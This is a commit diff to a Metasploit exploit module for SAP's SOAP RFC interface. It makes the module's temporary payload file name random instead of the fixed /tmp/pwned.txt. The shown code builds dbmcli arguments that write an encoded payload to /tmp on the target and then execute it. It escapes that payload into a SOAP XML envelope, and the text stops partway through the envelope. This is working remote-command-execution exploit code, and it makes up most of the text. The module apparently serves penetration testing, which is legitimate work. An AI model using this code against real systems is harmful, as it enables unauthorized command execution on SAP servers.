Rex::Text.rand_text_alphanumeric for file name

Author: nmonkee

modules/exploits/linux/sap/sap_soap_rfc_dbmcli_sxpg_command_exec.rb

@@ -72,24 +72,25 @@ def initialize
 	end
 
 	def exploit
+		file = Rex::Text.rand_text_alphanumeric(5)
 		ip = rhost
-		payload_ = create_payload(1)
+		payload_ = create_payload(1,file)
 		exec_command(ip,payload_)
-		payload_ = create_payload(2)
+		payload_ = create_payload(2,file)
 		exec_command(ip,payload_)
 	end
 
-	def create_payload(num)
+	def create_payload(num, file)
 		command = ""
 		if datastore['OS'].downcase == "linux"
 			if num == 1
-				command = "-o /tmp/pwned.txt -n pwnie" + "\n!"
+				command = "-o /tmp/" + file + " -n pwnie" + "\n!"
 				tmp_ = payload.encoded.gsub(" ","\t")
 				tmp__ = tmp_.gsub("&","&")
 				command << tmp__.gsub("<","&lt;")
 				command << "\n"
 			end
-			command = "-ic /tmp/pwned.txt" if num == 2
+			command = "-ic /tmp/" + file if num == 2
 		end
 		data = '<?xml version="1.0" encoding="utf-8" ?>' + "\r\n"
 		data << '<env:Envelope xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:env="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">' + "\r\n"